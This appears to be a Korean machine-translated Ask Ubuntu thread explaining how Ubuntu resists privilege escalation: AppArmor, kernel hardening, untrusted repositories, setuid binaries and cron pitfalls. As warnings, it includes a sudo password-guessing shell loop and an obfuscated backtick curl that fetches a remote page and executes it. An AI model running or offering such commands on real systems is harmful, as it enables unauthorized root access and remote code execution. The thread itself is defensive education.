시스템은 어떻게 안전하게 유지됩니까?


24

악성 코드가 Linux 시스템에 침입 한 경우, 대부분 사용자 수준의 권한을 얻어 특정 사용자의 접근 범위 (예 : 사용자 자신의 파일) 내의 모든 내용을 망칠 수 있음을 이해합니다.

그러나 맬웨어가 루트 수준 액세스 권한을 얻지 못하는 이유는 무엇입니까? 어떻게 든 내부에서 암호를 해독 할 수 없습니까?


좋은 질문과 답변!
NlightNFotis 2018 년

답변:


20

이것은 복잡한 질문입니다. Ubuntu 시스템에는 AppArmor와 같은 복잡한 프레임 워크에서와 같은 겸손한 커널 변수에 이르기까지 다양한 보안 계층이 mmap_min_addr있습니다. 믹스에서 메모리 랜덤 화와 같은 일부 커널 기능을 추가 할 수 있습니다. Ubuntu Wiki 에서 간단한 설명과 함께 목록을 찾을 수 있습니다 .

또 다른 중요한 요소는 업데이트가 빠르고 쉽다는 것입니다. 따라서 대부분의 컴퓨터는 최신 보안 수정 프로그램으로 업데이트됩니다.

내가 아는 한 컴퓨터에 로컬로 액세스 한 공격자는 세 가지 방법으로 커널 권한을 확장 할 수 있습니다.

  1. 암호를 해독하십시오. 그러나 이것은 실제로 어려울 것입니다. 암호는 알려진 결함이없는 알고리즘을 사용하여 암호화되어 저장됩니다. 금이 가려면 오랜 시간이 걸립니다.

  2. 커널의 버그. 그러나 커널의 모든 보안 기능이 방해를받습니다.

  3. 사회 공학과 같이 암호를 제공하도록 사용자를 속입니다. 가짜 암호 대화 상자를 표시하거나 다른 방법을 사용하십시오. 가장 쉬운 방법입니다.

세 번째 요점은 현재 가장 취약한 취약점입니다.


5
이 "암호"는 sudo-to-root 권한을 가진 사용자의 비밀번호입니다. 루트 계정은 기본적으로 비활성화되어 있습니다. # 3는 실제로 일어날 수있는 가장 가능한 일입니다. 또한 신뢰할 수없는 리포지토리를 설치하면 해당 리포지토리에 무료 루트 계정이 전달됩니다.
Lekensteyn

@Lekensteyn, 무엇?! 신뢰할 수없는 저장소를 추가하면 루트 액세스가 어떻게 전달됩니까? 그건 그렇고, 답변으로 게시하고 싶을 수도 있습니다.이 스레드가 일종의 커뮤니티 위키가되기를 바랍니다.
Oxwivi

서버 프로세스 이외의 askubuntu에 스레드가 없습니다. 질문 에 대한 답변댓글 을 올렸습니다 . 생각할만한 음식에 대한 답을 추가했습니다.
Lekensteyn

@Oxwivi PPA를 추가하고 패키지를 설치할 때 패키지에는 원하는대로 할 수있는 preinst 및 postinst 스크립트가 있습니다. 또한 루트 또는 엉망으로 실행되는 서비스를 설치할 수 있습니다 sudoers.
ζ--

15

우분투는 기본적으로 루트 사용자를 비활성화했기 때문에 루트 암호 자체를 해독 할 수 없습니다. 그러나 사용자가 sudo를 통해 root가 될 수 있고 암호를 추측 / 부정하기 쉬운 경우 안전하지 않은 시스템입니다. 비밀번호를 테스트하려는 스크립트 예 :

#!/bin/sh
for pass in password 123 ubuntu pass; do
    echo $pass|sudo -S evil_command
done

신뢰할 수없는 리포지토리를 추가하면 해당 리포지토리의 프로그램을 설치할 수 있습니다. 와 같은 응용 프로그램을 명시 적으로 설치하지 않더라도 sudo apt-get install [app-from-repo]저장소에 최신 버전의 특정 프로그램이 포함되어 있다고 우분투가 믿게함으로써 저장소는 여전히 다른 프로그램에 영향을 줄 수 있습니다.

업데이트 프로세스가 루트로 실행되었으므로 파일을 /usr/bin또는에 쓸 수 없습니다 /etc. 설치 트리거도 루트로 실행되며 임의로 또는 유해한 명령을 임의로 실행할 수 있습니다. 이제 걱정하지 마십시오. 프로그램을 업데이트하려면 수동 작업이 필요하며 Ubuntu 리포지토리는 안전합니다. Windows와 같은 폐쇄 형 소스 소프트웨어는 악성 코드의 소스를 확인할 수 없기 때문에 완전히 신뢰할 수는 없지만 필요한 경우 Ubuntu 응용 프로그램의 소스를 검토 할 수 있습니다 ( sun-java6Flash 와 같은 독점 프로그램에는 적용되지 않음 ).

Javier Rivera가 언급했듯이 커널 버그는 임의의 코드 실행으로 이어질 수 있지만 버그가있는 소프트웨어, 특히 버그가있는 setsuid루트 바이너리 (파일 소유자, 루트에서 실행되는 바이너리) 및 루트로 실행되는 기타 버그가있는 프로그램도 위험 할 수 있습니다 .

수행중인 작업에주의를 기울이지 않으면 시스템에 보안 허점을 만들 수 있습니다. 예를 들어, cronjobs의 개념을 완전히 이해하지 못하면 /etc/cron.daily홈 폴더에서 프로그램을 실행 하는 cronjob을 추가했습니다 (예 : /bin/sh /home/your-username/myscript.shmyscript.sh 파일을 쓸 수있는 사용자가 삭제할 수있는 경우 악용으로 인해 악용 될 수 있음) myscript.sh루트 (권한 에스컬레이션)로 실행될 코드입니다 .

안전을 유지하려면 마음을 사용하십시오! 무엇을 모르는 경우 신뢰할 수없는 출처에서 명령을 실행하지 마십시오. 누군가가 백틱으로 실행한다고 `curl 3221233674`말하지 마십시오. 3221233674는 또 다른 작성 방법 192.0.32.10입니다 (example.com의 IP). 따라서 다음과 같습니다.

`curl http://example.com/`

이러한 백 틱은 출력을 쉘 명령으로 실행합니다. 일반 영어로 " http://example.com/ 페이지를 다운로드하고 다운로드 한 페이지 를 실행하십시오".

처음에는 주어진 명령에서 악의적 인 것을 보지 못할 것입니다. 그러나 이제는 악용 될 수도 있습니다.

인터넷과 같은 신뢰할 수없는 출처에서받은 명령 / 스크립트는 항상 확인하십시오.


1
답변 주셔서 감사합니다. 편집 내용에 신경 쓰지 않았기를 바랍니다. 영어 실력 향상을 위해 편집 한 내용을 적어 둡니다.
Oxwivi

2
아냐, 상관 없어 모든 개선을 환영합니다 :)
Lekensteyn

어쨌든, 이것은 훌륭한 게시물이므로 언급 한 사항에 유의해야합니다!
Oxwivi
당사 사이트를 사용함과 동시에 당사의 쿠키 정책개인정보 보호정책을 읽고 이해하였음을 인정하는 것으로 간주합니다.
Licensed under cc by-sa 3.0 with attribution required.